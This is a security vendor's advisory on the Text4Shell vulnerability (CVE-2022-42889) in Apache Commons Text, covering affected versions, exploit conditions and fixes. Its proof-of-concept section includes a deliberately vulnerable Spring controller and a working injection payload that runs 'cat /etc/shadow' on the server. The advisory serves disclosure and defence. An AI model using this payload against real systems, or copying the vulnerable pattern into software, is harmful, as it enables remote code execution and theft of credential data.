---
title: "Text4Shell: A Vulnerability in Java library Apache Commons Text (CVE-2022-42889, Act4Shell)"
description: "LunaSec Security Researchers provide a detailed analysis of the vulnerability in Apache Commons Text library (CVE-2022-42889, aka Text4Shell or Act4Shell) and how it can be exploited to execute arbitrary code on the victim's machine."
slug: text4shell-java-rce-cve-2022-42889
date: 2022-10-19T23:30:00.000Z
keywords: [cybersecurity, strategy, java, action, guide, exploit]
tags: [security, appsec, devsecops, cicd, sdlc, guides]
authors: [free]
---
<!--
  ~ Copyright by LunaSec (owned by Refinery Labs, Inc)
  ~
  ~ Licensed under the Creative Commons Attribution-ShareAlike 4.0 International
  ~ (the "License"); you may not use this file except in compliance with the
  ~ License. You may obtain a copy of the License at
  ~
  ~ https://creativecommons.org/licenses/by-sa/4.0/legalcode
  ~
  ~ See the License for the specific language governing permissions and
  ~ limitations under the License.
  ~
-->

<head>
  <meta property="article:modified_time" content="2022-10-20T23:00:00.000Z" />
</head>

<img alt="Text4Shell Logo" src="https://www.lunasec.io/docs/img/blog/text4shell_small.png" style={
  {marginLeft: 'auto', marginRight: 'auto', paddingLeft: '20px', paddingRight: '20px'}
}/>

## What is Text4Shell?

Text4Shell is a vulnerability in the Java library Apache Commons Text. This vulnerability, in specific conditions,
allows an attacker to execute arbitrary code on the victim's machine (Remote Code Execution or "RCE").
The vulnerability was discovered by [Alvaro Muñoz (aka pwntester)](https://twitter.com/pwntester) and
[announced publicly](https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om) on October 13th

Text4Shell was officially assigned the [CVE-2022-42889](https://nvd.nist.gov/vuln/detail/CVE-2022-42889) identifier.

<!--truncate-->

Note: While the vulnerability is also known as "Act4Shell", we'll be referring to it as "Text4Shell" in this article.

## Who is impacted?

Applications that use the Apache Commons Text library (or that depend on libraries using it) are impacted.

While the name Text4Shell may suggest that this issue is as widespread
[Log4Shell vulnerability](https://lunasec.io/docs/blog/log4shell-cve-2021-44228/), that is fortunately not the case.

Text4Shell is more similar to [Spring4Shell](https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/) in that
the conditions for exploitation require a vulnerable pattern in application code in addition to a vulnerable version of
Apache Commons Text being present.

If only the vulnerable version of Apache Commons Text is present, but the vulnerable pattern doesn't also exist, the
Text4Shell cannot be exploited.

We'll go into more detail about that in the next section, but we believe that the real-world impact of Text4Shell to be
limited compared with Log4Shell.

### Should you patch?

The vulnerable configuration is very uncommon in the public source code of that we've reviewed, which means that
you're _rather unlikely_ to be vulnerable to Text4Shell even if you're using a vulnerable version of Apache Commons Text.

That said, the devil is in the details, and we believe that you should either:
- Review your code for usages of `StringSubstitutor.createInterpolator()` and
    `StringLookupFactory.INSTANCE.interpolatorStringLookup().lookup()` to verify
    that any calls aren't exploitable, or
- You should upgrade to version 1.10+ of Apache Commons Text.

Even though it's unlikely that you're vulnerable, this is an RCE vulnerability. And, not only is it an RCE, but it's
one that's even easier to exploit that Log4Shell was (there is no network round trip to
[fetch a Java bytecode](https://www.lunasec.io/docs/blog/log4shell-live-patch-technical/) from an LDAP service).

If you'd like to check if you're vulnerable to Text4Shell (including if new bypasses are found), you can
[configure LunaTrace for free](https://lunatrace.lunasec.io/) to run in your CI and get alerted automatically.

For additional ways to detect Text4Shell, we'll be providing links to other resources at the bottom of this article too.

:::info
If you find any additional attack vectors, we'd encourage you to open a
[Pull Request against this blog post](https://github.com/lunasec-io/lunasec/blob/master/docs/blog/2022-10-19-text4shell-cve-2022-42889.mdx)
directly! You may also let us know via [Twitter](https://twitter.com/LunaSecIO) and [email](mailto:security@lunasec.io) too.
:::

### Exploit Conditions

**All** the following conditions must be met for Text4Shell to be exploitable:

- Apache Commons Text version 1.5 through 1.9 are vulnerable
    ([version 1.10](https://commons.apache.org/proper/commons-text/changes-report.html#a1.10.0) includes a fix),
- The application must use `StringSubstitutor` in a vulnerable configuration (see POC code below),
- The application must accept arbitrary, attacker controlled input for exploitation to be possible,
- All versions of the JDK are vulnerable (early reports suggest JDK versions 15+ are safe, but new POCs have been
    released that work on JDK 15+).

### Proof-of-Concept Code

There are a few excellent resources available for this vulnerability already, including the original
[GitHub Advisory](https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/) and a
[Docker POC on GitHub](https://github.com/karthikuj/cve-2022-42889-text4shell-docker), and this post will just be
consolidating the information in those resources together.

The following code snippet is a proof-of-concept that demonstrates how the vulnerability can be exploited.

```typescript
/**
* Example of how to exploit Text4Shell vulnerability (CVE-2022-42889).
* A simple Java web server application using the Spring framework based on:
* https://github.com/karthikuj/cve-2022-42889-text4shell-docker
*/

// Import the vulnerable class from Apache Commons Text
import org.apache.commons.text.StringSubstitutor;

import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("text4shell")
public class ExampleVulnerableText4ShellController {

  @RequestMapping(value = "/vulnerable", method = RequestMethod.GET)
  @ResponseBody
  public String vulnerable(
    // The default value of this parameter is used to demonstrate the vulnerability
    @RequestParam(defaultValue="${script:javascript:java.lang.Runtime.getRuntime().exec('cat /etc/shadow')}")
    String requestInput
  ) {
    // This is the vulnerable method imported from Apache Commons Text.
    StringSubstitutor interpolator = StringSubstitutor.createInterpolator();

    // This line triggers the exploit
    interpolator.replace(requestInput);

    return "an empty response";
  }
}
```

### Exploit Steps

The following steps demonstrate how the vulnerability can be exploited:

1. The attacker sends a request to the vulnerable endpoint with the following payload:
    `http://localhost:8080/vulnerable?requestInput=${script:javascript:java.lang.Runtime.getRuntime().exec('cat /etc/shadow')}`
2. The request parameter, `requestInput`, `${script:javascript:java.lang.Runtime.getRuntime().exec('cat /etc/shadow')}`, is passed to the
    `StringSubstitutor` class, which is vulnerable to the exploit.
3. The `StringSubstitutor.replace()` method executes the payload which runs `cat /etc/shadow` and returns the contents of the shadow file.
4. At this point, the attacker can execute any command they want here, not just `cat /etc/shadow`. This is just an example
    of how the exploit can be used to execute arbitrary code on the victim's machine.

### Research Notes

We've done a deep dive into testing vulnerable configurations
([our notes + test env](https://github.com/lunasec-io/cve-2022-42889-text4shell-docker)),
and we don't believe that more common configurations involving `setEnableSubstitutionInVariables(true)` or
`(new StringSubstitor(values)).replace(attackerInput)` can lead to exploitation because they don't by default interpret
`${script:*}` calls.

## How to fix Text4Shell

The simplest fix is to upgrade to Apache Commons Text
[version 1.10](https://github.com/karthikuj/cve-2022-42889-text4shell-docker) or later.

If you're unable to upgrade, please
[join us on Discord](https://discord.gg/2EbHdAR5w7), where
we can help you find a workaround.

For help determining if you're affected by this vulnerability, or to determine if you're using Vendor software that may
be vulnerable, please see the resources below to help you scan for Text4Shell across your stack.

### Additional Resources

- [JFrog Text4Shell CLI Scanner](https://github.com/jfrog/text4shell-tools)
- [Grype](https://github.com/anchore/grype)
- [LunaTrace by LunaSec](https://lunatrace.lunasec.io/)

## Stay Informed

If you'd like to stay up to date on the latest vulnerabilities, you can join our mailing list below or follow us on
[Twitter](https://twitter.com/lunasecio).

import ContactForm from '../src/components/ContactForm.jsx'

<ContactForm/>

### Have Questions?

You're welcome to reach out to us if you need help by
[joining our Discord](https://discord.gg/2EbHdAR5w7) or by
[emailing us](mailto:contact+text4shell@lunasec.io). You can also
[edit this post on GitHub](https://github.com/lunasec-io/lunasec/blob/master/docs/blog/2022-10-19-text4shell-cve-2022-42889.mdx)
to suggest changes.

## References

First of all, we just want to say thank you to [Alvaro Muñoz (aka pwntester)](https://twitter.com/pwntester) and
the Apache Commons Text team for their work on resolving this security issue.

- [Apache Commons Text Security Advisory](https://commons.apache.org/proper/commons-text/security.html)
- [Rapid7 Writeup](https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/?utm_campaign=sm-blog&utm_source=lunasec)
- [TheRecord Writeup](https://therecord.media/experts-downplay-reach-of-apache-bug-text4shell/)

### Updates

1. 2022-10-19 @ 4pm PDT: Initial post.
2. 2022-10-19 @ 4:30pm PDT: Fixed typos and added more resources.
3. 2022-10-19 @ 5pm PDT: Adding logo.
4. 2022-10-19 @ 6:35pm PDT: Updating text in Impacted section.
5. 2022-10-19 @ 9pm PDT: Fixed broken example code. Added clarifying section about what is required for exploitation.
6. 2022-10-20 @ 5pm PDT: Added research notes and clarified language.
